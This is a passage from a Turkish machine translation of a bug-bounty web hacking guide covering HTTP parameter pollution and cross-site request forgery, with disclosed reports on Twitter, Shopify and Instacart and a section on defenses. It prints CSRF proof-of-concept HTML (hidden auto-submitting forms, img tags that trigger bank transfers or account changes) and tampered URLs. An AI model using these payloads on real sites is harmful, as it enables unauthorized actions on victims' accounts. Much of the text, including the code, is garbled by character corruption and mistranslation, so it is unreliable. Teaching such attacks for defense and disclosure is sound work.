çıkarımlar

Web s�teler� �çer�k kabul ett�ğ�nde ve göründüğünde fırsatlara d�kkat ed�n
sosyal medya s�teler� g�b� başka b�r web serv�s�yle �let�ş�m kurmak ve

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/105953
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/105953


Paylaşılan b�r gönder� oluşturmak �ç�n bağlantıyı oluşturmak �ç�n geçerl� URL.
Bu g�b� durumlarda, gönder�len �çer�ğ�n aktarılması mümkün olab�l�r
parametreye yol açab�lecek uygun güvenl�k kontroller� yapılmadan açık
k�rl�l�k açıkları.

2. Tw�tter Abonel�kten Çıkma B�ld�r�mler�

Zorluk : Düşük

URL : tw�tter.com

Rapor Bağlantısı : blog.mert.n�nja/tw�tter-hpp-vulnerab�l�ty 2

Rapor Tar�h� : 23 Ağustos 2015

Ödemel� Ödül : 700 $

Tanım :

Ağustos 2015’te, hacker Mert Taşçı abonel�ğ�nden çıkarken �lg�nç b�r URL gördü.
Tw�tter b�ld�r�mler� almak:

2 http://blog.mert.n�nja/blog/tw�tter-hpp-vulnerab�l�ty
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https://tw�tter.com/�/u?��d=F6542&u�d=1134885524&n�d=22+26

(Bunu k�tap �ç�n b�raz kısalttım). UID parametres�n� fark ett�n�z m�? Bu olur
Tw�tter hesabınızın kullanıcı k�ml�ğ� olmak �ç�n. Farkındayım k�, çoğumuzun üstes�nden geld�ğ�m� yaptı.
Hacker'lar yapar, UID'y� başka b�r kullanıcınınk�ne değ�şt�rmeye çalışırdı .
Tw�tter b�r hata döndürdü.

Başkalarının vazgeçt�ğ� yerde devam etmeye kararlı olan Mert, b�r san�ye daha eklemeye çalıştı
UID parametres� böylece URL'ye benz�yordu (y�ne bunu kısalttım):

https://tw�tter.com/�/u?��d=F6542&u�d=2321301342&u�d=1134885524&n�d=22+26

Ve BAŞARI! Başka b�r kullanıcının e-posta b�ld�r�mler�nden abonel�ğ�n� kaldırmayı başardı.
Görünüşe göre Tw�tter, HPP abonel�ğ� �ptal eden kullanıcılara karşı savunmasızdı.

çıkarımlar

Kısa b�r açıklama olsa da, Mert'�n çabaları
s�stence ve b�lg�. Daha sonra güvenl�k açığından kurtulmuş olsaydı
Değ�şen UID Başka b�r kullanıcının ve başarısız ya da o hakkında b�lmek olmasaydı HPP-
güvenl�k açıklarını yazın, 700 dolarlık ödülünü almazdı.

Ayrıca, HTTP �stekler�ne dah�l ed�len UID g�b� parametrelere d�kkat ed�n
b�rçok güvenl�k açığı web yapmak �ç�n parametre değerler�n� değ�şt�rmey� �çer�r
beklenmed�k şeyler yapan uygulamalar.

3. Tw�tter Web Amaçları

Zorluk : Düşük

URL : tw�tter.com

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://blog.mert.ninja/blog/twitter-hpp-vulnerability
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://blog.mert.ninja/blog/twitter-hpp-vulnerability


Rapor Bağlantısı : Tw�tter Web Parametre Kurcalama Saldırısı 3

Rapor Tar�h� : Kasım 2015

Ödemel� Ödül : Açıklanmadı

Tanım :

Tw�tter Web Intents, Tw�tter kullanıcısının tweet'ler�yle çalışmak �ç�n pop-up akışlar sağlar, cevaplar,
tw�tter olmayan s�teler bağlamında retweet, beğenme ve tak�p etme. Mümkün kılar
Kullanıcılar sayfadan ayrılmadan veya b�r yetk�lend�rmeye gerek duymadan Tw�tter �çer�ğ� �le etk�leş�me g�rme
sadece etk�leş�m �ç�n yen� b�r uygulama. İşte bu pop-up'lardan b�r�n�n görünüşüne b�r örnek
sevmek:

3 https://er�crafaloff.com/parameter-tamper�ng-attack-on-tw�tter-web-�ntents
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Tw�tter N�yet�

Bunu test eden hacker Er�c Rafaloff, b�r kullanıcıyı tak�p eden dört n�yet türünün heps�n�n,
b�r tweet sevme, retweetleme ve tweetleme, HPP'ye açıktı. Tw�tter yaratır
GET �steğ� yoluyla aşağıdak� g�b� URL parametreler� �çeren her b�r n�yet:

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents


https://tw�tter.com/�ntent/�ntentType?paramter_name=paramterValue

Bu URL, �ntentType ve b�r veya daha fazla parametre adı / değer ç�ft� �çer�r.
örneğ�n b�r Tw�tter kullanıcı adı ve Tweet k�ml�ğ�. Tw�tter bu parametreler� oluşturmak �ç�n kullanır
pop-up kullanıcının tak�p etmes�n� ya da beğen�lmes�n� tweetlemek �ç�n gösterme n�yet�. Er�c yarattığını buldu.
Beklenen yer�ne, tak�p amacı �ç�n �k� screen_name parametres� olan b�r URL
tek�l ekran_adı , şöyle:
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https://tw�tter.com/�ntent/follow?screen_name=tw�tter&screen_name=er�crtest3

Tw�tter �k�nc� screen_name'den öncel�k vererek �steğ� yer�ne get�r�r
B�r tak�p düğmes� oluştururken �lk tw�tter değer�n�n üzer�ndek� er�crtest3 değer�n�, böylece kullanıcı
Tw�tter’ın resm� hesabını tak�p etmeye çalışmak Er�c’�n
Test hesabı Er�c tarafından oluşturulan URL’y� z�yaret etmek aşağıdak� HTML formuyla sonuçlanır
Tw�tter'ın arka kodunda �k� screen_name parametres�yle oluşturuluyor:

<form class = "follow" �d = "follow_btn_form" eylem = "/ �ntent / follow? screen_name = er� \
crtest3 " method = " post " >

<�nput type = "h�dden" name = "authent�c�ty_token" value = "..." >

<�nput type = "h�dden" name = "ekran_adı" value = "tw�tter" >
<�nput type = "h�dden" name = "prof�le_�d" value = "783214" >

<button class = "button" type = "Gönder" >

<b></b> <strong> Tak�p Et </strong>
</ Düğmes�>

</ Form>

Tw�tter b�lg�ler� �lk screen_name parametres�nden alır;
resm� Tw�tter hesabı �le �l�şk�lend�r�l�r, böylece b�r mağdur doğru prof�l� görür.
URL'n�n �lk screen_name parametres� URL olduğundan, �zlemey� düşündüğü kullanıcının
�k� g�r�ş değer�n� doldurmak �ç�n kullanılır. Ancak, düğmey� tıklattıktan sonra tak�p ederler
er�crtest3 çünkü form et�ket�ndek� eylem bunun yer�ne �k�nc� screen_name öğes�n� kullanır.
parametres�n�n form et�ket�n�n �şlem paragrafındak� değer�, or�j�nal URL’ye �let�ld�:

https://tw�tter.com/�ntent/follow?screen_name=tw�tter&screen_name=er�crtest3

Benzer şek�lde, beğen�lmek �ç�n n�yetler sunarken, Er�c b�r ekran_adı �çereb�leceğ�n� buldu.
Tweet'�n beğen�lmemes�yle �lg�s� olmasa da parametre. Örneğ�n, yaratab�l�rd�
URL:

https://tw�tter.com/�ntent/l�ke?tweet_�d=6616252302978211845&screen_name=er�crtest3

Normal b�r benzer n�yet sadece tweet_�d parametres�ne �ht�yaç duyardı, ancak Er�c enjekte ett�.
URL'n�n sonuna kadar screen_name parametres�. Bu tweet'� beğenmek b�r kurbanla sonuçlanab�l�r
Tweet'� beğenmek �ç�n doğru kullanıcı prof�l�yle sunuluyor, ancak tak�p et düğmes�
doğru Tweet ve tweeter'ın doğru prof�l� �le b�rl�kte
�lg�s�z kullanıcı er�crtest3 �ç�n.

çıkarımlar

Bu, öncek� UID Tw�tter güvenl�k açığına benzer. Şaşırtıcı olmayan b�r şek�lde, ne zaman
S�te HPP g�b� b�r hasara karşı savunmasız, daha gen�ş b�r s�stem�k gösterges� olab�l�r
konu. Bazen böyle b�r güvenl�k açığı bulursanız, zaman ayırmaya değer
Platformu tümüyle araştırmak, bulunduğunuz başka yerler olup olmadığını görmek �ç�n
benzer davranışlardan yararlanab�l�r.
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özet

HTTP Parametre K�rl�l�ğ� tarafından oluşturulan r�sk gerçekten gerçekleşt�r�len �şlemlere bağlıdır
B�r s�ten�n arka ucu ve k�rl� parametreler�n kullanıldığı yerler.

Bu tür güvenl�k açıklarını keşfetmek gerçekten denemelere bağlıdır.
d�ğer güvenl�k açıklarından daha fazla, çünkü b�r web s�tes�n�n arka uç �şlemler� kara kutu olab�l�r
B�r b�lg�sayar korsanına, yan�, ne g�b� b�r eylemle �lg�l� muhtemelen çok az b�r f�kre sah�p olacaksınız.
arka uç sunucu g�r�ş�n�z� aldıktan sonra alır.

Deneme ve yanılma yoluyla, bu tür güvenl�k açığı durumlarını keşfedeb�l�rs�n�z.
�t�es. Sosyal medya bağlantıları genell�kle �y� b�r �lk adımdır, ancak kazmaya devam etmey� ve
UID'ler g�b� parametre değ�ş�mler�n� test ederken HPP'y� düşünün.
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Açıklama

B�r saldırgan b�r HTTP kullanab�l�yorsa, s�teler arası sahtec�l�k �steğ� veya CSRF saldırısı gerçekleş�yor
B�r kullanıcının b�lg�s�ne başka b�r web s�tes�nden er�şmek ve bu b�lg�y�
kullanıcı adına hareket etmek. Bu genell�kle daha önce k�ml�ğ� doğrulanmış mağduru temel alır
eylem�n sunulduğu ve web s�tes�nde mağdur olmadan gerçekleşen hedef web s�tes�nde
Saldırının gerçekleşt�ğ�n� b�lmek. İşte s�ze üzer�nden geçeceğ�m�z temel b�r örnek:

1. Bob, bak�yes�n� kontrol etmek �ç�n bankacılık web s�tes�ne g�r�ş yapar.
2. B�t�nce, Bob Gma�l hesabını https://gma�l.com/ adres�n� z�yaret ederek kontrol eder .
3. Bob, b�lmed�ğ�n�z b�r web s�tes�ne bağlantı �çeren b�r e-posta adres�ne sah�pt�r ve görmek �ç�n bağlantıyı tıklatır.

nereye g�d�yor.
4. B�l�nmeyen s�te yüklend�ğ�nde, Bob’un tarayıcısına HTTP �steğ� yapması tal�matını ver�r.

Bob'un hesabından parayı saldırgana aktaran bankacılık �nternet s�tes�ne.
5. Bob'un bankacılık web s�tes�, yabancı (ve mal�-

c�ous) web s�tes�, CSRF korumasına sah�p değ�ld�r ve bu nedenle aktarımı �şler.

Kurab�ye

Ş�md�, Bob'un nasıl tehl�keye atıldığına da�r ayrıntılara geçmeden önce konuşmamız gerek.
Çerezler hakkında. K�ml�k doğrulaması gerekt�ren b�r web s�tes�n� z�yaret ett�ğ�n�zde, b�r kullanıcı adı g�b�
ve parola, bu s�te tarayıcınızda genell�kle b�r çerez saklar. Çerezler dosyadır
kullanıcının b�lg�sayarında depolanan web s�teler� tarafından oluşturulur.

Çerezler, kullanıcı terc�hler�   g�b� b�lg�ler� saklamak g�b� çeş�tl� amaçlar �ç�n kullanılab�l�r.
Kullanıcılar veya b�r web s�tes�n� z�yaret etme geçm�ş�n� bel�rt�r. Bu b�lg�ler� saklamak �ç�n çerezler
tarayıcılara anlatan standartlaştırılmış b�lg� parçaları olan bazı özell�klere sah�p
Çerezler ve nasıl tedav� ed�lmeler� gerekt�ğ� hakkında. B�r çerez�n yapab�leceğ� bazı özell�kler
etk� alanı, son kullanma tar�h�, güvenl� ve httponly n�tel�kler�n� �çermel�d�r.

Özell�klere ek olarak, çerezler, aşağıdak�lerden oluşan ad / değer ç�ftler� �çereb�l�r.
b�r web s�tes�ne �let�lecek b�r tanımlayıcı ve �l�şk�l� b�r değer (bunu geçen s�te
b�lg�ler�, çerez�n etk� alanı n�tel�ğ� �le tanımlanır). B�r s�te herhang� b�r sayıda
Çerezler, her b�r� kend� amaçları �ç�n. Örneğ�n, b�r s�te b�r sess�on_�d çerez�n� kullanab�l�r
B�r kullanıcının, kullanıcı adını ve ş�fres�n� g�rmes�n� sağlamak yer�ne k�m olduğunu hatırlayın.
z�yaret ett�kler� her sayfa veya gerçekleşt�rd�kler� eylem. HTTP’n�n durumsuz olarak kabul ed�ld�ğ�n� unutmayın
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yan� her HTTP �steğ�nde, b�r web s�tes� b�r kullanıcının k�m olduğunu b�lmez, yan�



Her �stek �ç�n onları yen�den doğrulamak �ç�n.
Bu nedenle, örnek olarak, b�r çerezdek� b�r ad / değer ç�ft� sess�onId: 123456789 ve
Çerez b�r .s�te.com etk� alanına sah�p olab�l�r. Bu, user_�d çerez�n�n olması gerekt�ğ� anlamına gel�r
her .s�te.com s�tes�ne, foo.s�te.com, bar.s�te.com, www.s�te.com g�b� b�r kullanıcının z�yaret ett�ğ�,
ve bunun g�b�.

Güvenl� ve httponly özell�kler�, tarayıcılara çerezler�n ne zaman ve nasıl gönder�leb�leceğ�n� ve
okuyun. Bu n�tel�kler değer �çermez, bunun yer�ne ya mevcut olan bayraklar g�b� davranırlar.
çerezde ya da değ�l. B�r çerez güvenl� n�tel�ğ� �çerd�ğ�nde, tarayıcılar yalnızca
HTTPS s�teler�n� z�yaret ederken bu çerez� gönder. Http://www.s�te.com/ adres�n� güvenl� b�r şek�lde z�yaret ett�ysen�z
çerez, tarayıcınız çerezler�n�z� s�teye göndermez. Bu g�zl�l�ğ�n�z� korumaktır
HTTPS bağlantıları ş�frel� olduğundan ve HTTP bağlantıları olmadığından. Httponly n�tel�ğ�
Tarayıcıya, çerez�n yalnızca HTTP ve HTTPS �stekler�yle okunab�leceğ�n� söyler.
Bu, s�teler arası komut dosyası çalıştırmayı daha sonrak� b�r bölümde tartışırken öneml� olacaktır.
ş�md�l�k, çerez b�r httponly �se, tarayıcıların komut dosyası d�ller�ne �z�n vermeyeceğ�n� unutmayın,
değer�n� okumak �ç�n JavaScr�pt g�b�. Güvenl� özn�tel�ğ� olmayan b�r çerez gönder�leb�l�r
HTTPS olmayan b�r s�te ve aynı şek�lde, httponly ayarlanmamış b�r çerez HTTP olmayan b�r kullanıcı tarafından okunab�l�r.
bağ.

Son olarak, son kullanma tar�h�, s�ten�n artık ne zaman d�kkate alınmayacağını tarayıcıya b�ld�r�r.
çerez geçerl� olacak, bu yüzden tarayıcı onu yok etmel�d�r.

Bunların heps�n� Bob'a ger� götürmek, bankacılığını z�yaret ett�ğ�nde ve g�r�ş yaptığında, banka
HTTP �steğ�ne yanıt veren ve tanımlayan b�r çerez �çeren b�r HTTP yanıtı �le yanıtlayın.
Bob. Sırasıyla, Bob'un tarayıcısı bu çerez� otomat�k olarak d�ğer tüm HTTP �le b�rl�kte gönder�r.
bankacılık �nternet s�tes�ne yapılan talepler.

Bankasını b�t�rd�kten sonra, Bob https://www.gma�l.com/ adres�n� z�yaret etmeye karar verd�ğ�nde oturumu kapatmaz .
Bu öneml�d�r, çünkü b�r s�teden çıkış yaptığınızda, o s�te t�p�k olarak b�r HTTP gönder�r.
Çerez�n�z� sona erd�ren yanıt. Sonuç olarak, s�tey� tekrar z�yaret ett�ğ�n�zde,
Tekrar g�r�ş yap.

Bob b�l�nmeyen s�tey� z�yaret ett�ğ�nde, �stemeden kötü n�yetl� b�r web s�tes�n� z�yaret ed�yor.
bankacılık web s�tes�ne saldırmak �ç�n tasarlanmıştır. Bu noktada, kötü n�yetl� s�ten�n kullandığı yol
Bankacılık s�tes�, bankanın GET veya POST talepler�n� kabul ed�p etmemes�ne bağlıdır.

GET İstekler�yle CSRF

Bankacılık s�tes� GET �stekler�n� kabul ederse, kötü n�yetl� s�te HTTP �steğ�n� gönder�r
G�zl� b�r form veya b�r <�mg> et�ket� �le. Saklı form tekn�ğ� kullanılab�ld�ğ�nden ber�
POST �stekler� de bu bölümde <�mg> et�ket�n� ve “CSRF” formlarını kapsayacaktır.
POST İstekler� �le ”bölümünde daha sonra.

B�r <�mg> et�ket� b�r tarayıcı tarafından �şlend�ğ�nde, Google’a b�r HTTP GET �steğ� gönder�r.
et�ket�ndek� src n�tel�ğ�. Öyleyse, kötü amaçlı s�te 500 ABD doları transfer eden b�r URL kullanıyorsa
Bob'dan Joe'ya benzeyen:
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https://www.bank.com/transfer?from=bob&to=joe&amount=500

daha sonra, kötü amaçlı b�r res�m et�ket�, aşağıdak� URL'dek� g�b� bu URL'y� kaynak değer� olarak kullanır
et�ket:

<�mg src = "https://www.bank.com/transfer?from=bob&to=joe&amount=500">

Sonuç olarak, Bob saldırganın sah�p olduğu s�tey� z�yaret ett�ğ�nde, HTTP’�nde <�mg> et�ket�n� �çer�r.
yanıt ve tarayıcı daha sonra bankaya HTTP GET �steğ�nde bulunur. Tarayıcı
Bob'un aslında b�r res�m olması gerekt�ğ�n� düşündüğü şey� alması �ç�n k�ml�k doğrulama çerezler� gönder�r



banka �steğ� alır, URL'y� et�ket�n src n�tel�ğ�nde �şler ve �şler
transfer.

Bu nedenle, genel b�r web programlama prens�b� olarak, HTTP GET talepler�
asla para transfer� g�b� herhang� b�r arka uç ver� değ�şt�rme �steğ�nde bulunmayın.

POST İstekler�yle CSRF

Buna karşılık, banka POST �stekler�n� kabul ederse, d�kkate alınması gereken b�rkaç şey vardır.
B�r POST �steğ�n�n �çer�ğ� b�r CSRF saldırısını karmaşıklaştırab�l�r, bu yüzden farklı tekn�kler
B�r saldırıyı başarıyla kaldırmak �ç�n kullanılması gerek�r.

En bas�t durum, �çer�k t�p� başvurusuyla b�r POST �steğ�n� �çer�r.
send�ka / x-www-form-urlencoded veya met�n / düz. İçer�k türü, tarayıcıların kullandığı b�r başlıktır
HTTP �stekler� gönder�rken �çereb�l�r. Alıcıya HTTP’n�n gövdes�n�n nasıl olduğunu göster�r.
�stek kodlandı. İşte b�r met�n / düz �çer�k türü �steğ� örneğ�:

POST / HTTP / 1.1
Ev sah�b� : www.google.com.tr

Kullanıcı Aracısı : Moz�lla / 5.0 (W�ndows NT 6.1; rv: 50.0) Gecko / 20100101 F�refox / 50.0

Kabul et : met�n / html, uygulama / xhtml + xml, uygulama / xml; q = 0.9, * / *; q = 0.8
İçer�k Uzunluğu : 0

İçer�k Türü : met�n / düz; karakter kümes� = UTF-8

DNT : 1
Bağlantı : yakın

İçer�k t�p� et�ketlen�r ve türü, kodun karakter kodlamasıyla b�rl�kte l�stelen�r.
�stek. İçer�k türü öneml�d�r, çünkü tarayıcılar türler� farklı şek�lde ele alır (
b�r san�ye �ç�nde alacağız). Ş�md�, bu durumda, kötü amaçlı b�r s�ten�n oluşturulması mümkündür
g�zl� b�r HTML formu ve kurbanı b�lmeden sess�zce hedef s�teye gönder�n.
Form b�r URL'ye POST veya GET �steğ� göndermek �ç�n kullanılab�l�r ve hatta göndereb�l�r
parametreler İşte bazı kötü amaçlı kodlara b�r örnek:
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<�frame style = "d�splay: none" name = "csrf-frame" > </�frame>
<form method = 'POST' eylem = 'http://bank.com/transfer.php' target = "csrf-frame" �d \

= "csrf-form" >

<�nput type = 'h�dden' name = '' value = 'Bob' dan >
<�nput type = 'h�dden' name = '�la' value = 'Joe' >

<�nput type = 'h�dden' name = 'm�ktar' değer = '500' >

<�nput type = 'Gönder' değer = 'Gönder' >
</ Form>

<scr�pt> document.getElementById ("csrf-form"). send () </scr�pt>

Burada, Bob’un bankasına form �çeren b�r HTTP POST �steğ� yapıyoruz (bu
<form> et�ket�ndek� target n�tel�ğ� �le ). Saldırgan Bob’un görmes�n� �stemed�ğ�nden
b�ç�m�nde, <�nput> öğeler�n�n her b�r�ne, onları görünmez yapan 'g�zl�' türü ver�l�r.
Web sayfasında Bob görüyor. Son adım olarak, saldırgan �ç�nde b�r m�ktar JavaScr�pt �çer�yor
Sayfa yüklend�ğ�nde formu otomat�k olarak göndermek �ç�n b�r <scr�pt> et�ket�.



JavaScr�pt bunu HTML belges�ndek� getElementByID () yöntem�n� çağırarak yapar.
<form> 'da bel�rled�ğ�m�z formun k�ml�ğ� �le (“csrf-form”) . GET �steğ�nde olduğu g�b�,
Form gönder�ld�kten sonra tarayıcı, HTTP POST’u Bob’lara gönderme �steğ� yapar
Çerezler� banka havales�ne yönlend�ren banka s�tes�ne. POST �stekler� b�r HTTP gönderd�ğ�nden ber�
ger� tarayıcı �ç�n tepk�, saldırgan b�r �n yanıtı g�zler <�frame> �le
d�splay: none n�tel�ğ� yok böylece Bob onu göremez ve ne olduğunu fark eder.

D�ğer senaryolarda, b�r s�te POST �steğ�n�n sözleşme �le gönder�lmes�n� bekleyeb�l�r
bunun yer�ne çadır t�p� uygulama / json. Bazı durumlarda, b�r uygulama / json olan b�r �stek
türünde, HTTP �steğ� �le gönder�len b�r değer olan b�r CSRF bel�rtec� olacaktır.
böylece hedef s�te �steğ�n kend�s�nden geld�ğ�n� ve kend�s�nden kaynaklandığını doğrulayab�l�r.
başka, kötü amaçlı b�r s�te. Bazen bel�rteç POST’un HTTP gövdes�ne dah�l ed�l�r.
�stek ve d�ğer zamanlarda, �çer�k türü g�b� b�r başlıktır.

POST �stekler�n� uygulama / json olarak gönderme öneml�d�r, çünkü tarayıcılar önce
POST �steğ� gönder�lmeden önce OPTIONS HTTP �steğ� gönder. S�te sonra döner
SEÇENEKLER çağrısına, hang� tür HTTP �stekler�n� kabul ett�ğ�n� bel�rten b�r yanıt.
Tarayıcı bu yanıtı okur ve ardından gerçek POST HTTP �steğ�n� yapar;
Örneğ�m�zde, transfer olurdu. Bu �ş akışı aslında bazılarına karşı korur
Kötü n�yetl� web s�tes�n�n HTTP'y� okumasına �z�n ver�lmemes� neden�yle CSRF açıkları
SEÇENEKLER kötü n�yetl� POST göndereb�l�r olup olmadığını b�lmek �ç�n web s�tes�nden yanıt
�stek. Buna çapraz kaynaklı kaynak paylaşımı (CORS) den�r.

CORS, json yanıtları da dah�l olmak üzere kaynaklara er�ş�m� kısıtlamak üzere tasarlanmıştır.
dosyaya sunulanın dışındak� etk� alanı veya hedef s�te tarafından �z�n ver�l�yor. D�ğer
b�r s�tey� korumak �ç�n CORS kullanıldığında, b�r uygulama / json �steğ� gönderemezs�n�z.
Hedef uygulamayı aramak �ç�n, hedef� okumadıkça yanıtı okuyun ve başka b�r arama yapın.
s�te �z�n ver�r. Bazı durumlarda, b�r CSRF yapmak �ç�n CORS etrafında çalışab�l�rs�n�z.
Bu bölümde daha sonra göreceğ�m�z g�b� saldırı.
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Ş�md� de bel�rt�ld�ğ� g�b�, CSRF açıkları b�r çok yolla azaltılab�l�r;
rapor etmeden önce uygun b�r saldırı kavramı kanıtı sağlamak öneml�d�r.

CSRF Saldırılarına Karşı Savunma

CSRF'ye karşı en popüler koruma, muhtemelen olacak olan CSRF bel�rtec�d�r.
Potans�yel olarak ver� değ�şt�rme taleb� gönder�l�rken korunan s�te tarafından �stenen
POST �stekler� �se). Burada, b�r web uygulaması (Bob'un bankası g�b�) �le b�r bel�rteç oluşturur
b�r� Bob’un alacağı, b�r� de uygulamanın alacağı �k� bölüm.
Bob transfer talepler� yapmaya çalıştığında, kartını göndermek zorunda kalacaktı.
banka daha sonra bel�rtec� tarafıyla doğrulardı.

Bu bel�rteçler her zaman açık b�r şek�lde adlandırılmamıştır, ancak �s�mler�n bazı potans�yel örnekler�
X-CSRF-TOKEN, l�a-token, rt veya form k�ml�ğ�n� �çer�r. Saldırgan başarılı olamayacaktı.
Geçerl� b�r bel�rteç olmadan b�r POST �steğ�n� kes�n olarak gönder�n ve bu nedenle
CSRF saldırısı dışında, ancak CSRF bel�rteçler� her zaman çıkmaz
sömürülecek güvenl�k açıkları aranıyor.

S�teler�n kend�ler�n� korumaları açık b�r şek�lde CORS kullanarak, aptal olmasa da
tarayıcıların güvenl�ğ�ne güvend�ğ� ve uygun CORS yapılandırmaları sağladığının kanıtı
s�teler�n yanıtlara er�şmes�ne �z�n ver�ld�ğ�nde ve bazı CORS by-pass'ları olduğunda
Geçm�şte bu açıkları. Ek olarak, CORS bazen bypass ed�leb�l�r
�çer�k türünün uygulamadan / json'dan uygulamaya / x-www-form-urlencoded olarak değ�şt�r�lmes�
veya POST �steğ� yer�ne GET �steğ� kullanarak. Bunların her �k�s� de nasıl



hedef s�te yapılandırıldı.

Son olarak, b�r s�te kaynak başlığını doğrularsa, CSRF açıklarından da kaçınılab�l�r.
köken saldırgan tarafından kontrol ed�lemed�ğ� ve başvuruda bulunamadığı �ç�n b�r HTTP �steğ�yle b�rl�kte gönder�ld�
�steğ�n kaynaklandığı yere.

Örnekler

1. Shop�fy Tw�tter Bağlantıyı Kes

Zorluk : Düşük

URL : https://tw�tter-commerce.shop�fyapps.com/auth/tw�tter/d�sconnect

Rapor Bağlantısı : https://hackerone.com/reports/1112161

Rapor Tar�h� : 17 Ocak 2016

Ödemel� Ödül : 500 Dolar

Tanım :

1 https://hackerone.com/reports/111216
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Shop�fy, dükkan sah�pler�n�n kend�ler�ne tweet atmalarını sağlamak �ç�n Tw�tter �le entegrasyon sağlar.
ürünler�. Benzer şek�lde, b�r Tw�tter hesabının bağlantısını kesmek �ç�n de �şlevsell�k sağlar.
bağlı b�r dükkan. Tw�tter hesabının bağlantısını kesmek �ç�n URL:

https://www.tw�tter-commerce.shop�fyapps.com/auth/tw�tter/d�sconnect/

Görünüşe göre, �lk uygulandığında, Shop�fy’ın meşru�yet�n� doğrulamıyordu.
GET'�n kend�s�ne gönder�len �stekler�, URL’y� CSRF’ye karşı savunmasız kılar.

GET / auth / tw�tter / http /1.1 bağlantısını kes

Ev sah�b� : tw�tter-commerce.shop�fyapps.com
Kullanıcı Aracısı : Moz�lla / 5.0 (Mac�ntosh; Intel Mac OS X 10.11; rv: 43.0) Gecko / 2010010 \

1 F�refox / 43.0

Kabul et : text / html, appl�cat�on / xhtml + xml, appl�cat�on / xml
Kabul D�l� : en-ABD, en; q = 0.5

Kabul-Kodlama : gz�p, deflate

Hakem : https://tw�tter-commerce.shop�fyapps.com/account
Çerez : _tw�tter-commerce_sess�on = REDACTED

Bağlantı : canlı tutmak

Raporu yazan Hacker WeSecureApp, aşağıdak�
savunmasız b�r �stek - savunmasız kalmayı sağlayan b�r <�mg> et�ket� kullanıldığına d�kkat ed�n.
URL:

<Html>
<Body>

<�mg src = "https://tw�tter-commerce.shop�fyapps.com/auth/tw�tter/d�sconnect" >

</ Body>
</ Html>

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111216
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/111216


çıkarımlar

Bu durumda, güvenl�k açığını b�r proxy sunucusu kullanarak bulab�l�rd�n�z,
Burp veya OWASP'ın ZAP'� g�b� Shop�fy'a gönder�len HTTP �stekler�n� �zlemek �ç�n
ve bunun b�r GET �steğ� olduğunu bel�rtt�. GET �stekler� h�çb�r zaman değ�ş�kl�k yapmamalı
sunucudak� ver�ler�, ancak WeSecureApp �le yıkıcı eylemde
B�r�nc�s�, bu tür �stekler� de göz önünde bulundurmalısınız.

2. Kullanıcıları Eş�tleme Bölgeler�n� Değ�şt�r

Zorluk : Düşük
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URL : https://adm�n.�nstacart.com/ap�/v2/zones/

Rapor Bağlantısı : https://hackerone.com/reports/1579932

Rapor Tar�h� : 9 Ağustos 2015

Ödemel� Ödül : 100 $

Tanım :

Instacart kuryeler� �ç�n b�r arayüze sah�p b�r bakkal tesl�mat uygulaması. Bakkal�ye �z�n ver�r
Tesl�m kullanıcıları, çalıştıkları bölgeler� tanımlamak �ç�n
Instacart adm�n API's�n�n / ap� / v2 / bölgeler�n�n b�t�ş noktasına POST �steğ�. Keşfed�len b�r b�lg�sayar korsanı
bu son noktanın savunmasız CSRF olduğu ve mağdur bölges�n� değ�şt�rmek �ç�n kullanılab�leceğ�. İşte
mağdurun bölges�n� değ�şt�rmek �ç�n bazı örnek kodlar:

<Html>
<Body>

<form eylem = "https://adm�n.�nstacart.com/ap�/v2/zones" yöntem = "POST" >

<�nput type = "h�dden" name = "z�p" değer = "10001" />
<�nput type = "h�dden" name = "geçers�z kıl" değer = "true" />

<�nput type = "gönder" value = "İsteğ� gönder" />

</ Form>
</ Body>

</ Html>

Bu örnekte, b�lg�sayar korsanı, b�r POST �steğ�yle API'ye er�şmek �ç�n b�r form oluşturdu. Onlar
daha sonra �k� g�zl� g�r�ş kullanıldı; b�r� kullanıcının yen� bölges�n� 10001 posta koduna ayarlamak �ç�n
ve API'n�n geçers�z kılma parametres�n� true olarak ayarlamak �ç�n kullanıcının geçerl� z�p değer�
hacker sunulan değer� �le değ�şt�r�l�r. Son olarak, hacker formu gönderm�şt�r.
POST �steğ�nde bulunun. Bu POC, kurban gerekt�receğ� �ç�n öncek�lerden farklı
korsan otomat�k gönderme özell�ğ�n� kullanmadığından �steğ� göndermek �ç�n b�r düğmey� nasıl
JavaScr�pt �şlev�

Her ne kadar bu örnek hala �şe yararsa da, tekn�kler� kullanarak gel�şt�r�leb�l�r.
G�zl� �frame kullanmak ve �steğ� otomat�k olarak göndermek g�b�
kullanıcı adına. Bu, Instacart bug lütuflu tet�kç�ler�ne nasıl b�r
Saldırgan bu güvenl�k açığını, güvenl�k açıklarından bu yana herhang� b�r mağdur eylem� olmadan kullanab�l�r.
Mağdur etk�leş�m� gerekt�rmez veya sınırlandırılmaz, çünkü daha az çaba harcayarak potans�yel olarak daha etk�l�d�r

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/157993


güvenl�k açığından yararlanmak �ç�n gerekl�d�r.
2 https://hackerone.com/reports/157993
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çıkarımlar

Avantajlar ararken, saldırı alanınızı gen�şlet�n ve sadece ötes�ne bakın
b�r s�ten�n, API �ç�n son noktaları �çeren ve
açıkları. Bazen, gel�şt�r�c�ler bazen bu API b�t�ş noktalarını unutur
web sayfaları g�b� hazır olmadıkları �ç�n keşfed�leb�l�r ve kullanılab�l�rler
(örneğ�n, mob�l API uç noktaları, telefon traf�ğ�n�z�n ele geç�r�lmes�n� gerekt�r�r).

3. Badoo Tam Hesap Alma

Zorluk : Orta

URL : https://badoo.com

Rapor Bağlantısı : https://hackerone.com/reports/1277033

Rapor Tar�h� : 1 N�san 2016

Ödemel� Ödül : 852 $

Tanım :

Https://www.badoo.com/ adres�ndek� sosyal ağ web s�tes�n� z�yaret ed�p araştırırsanız göreceks�n�z.
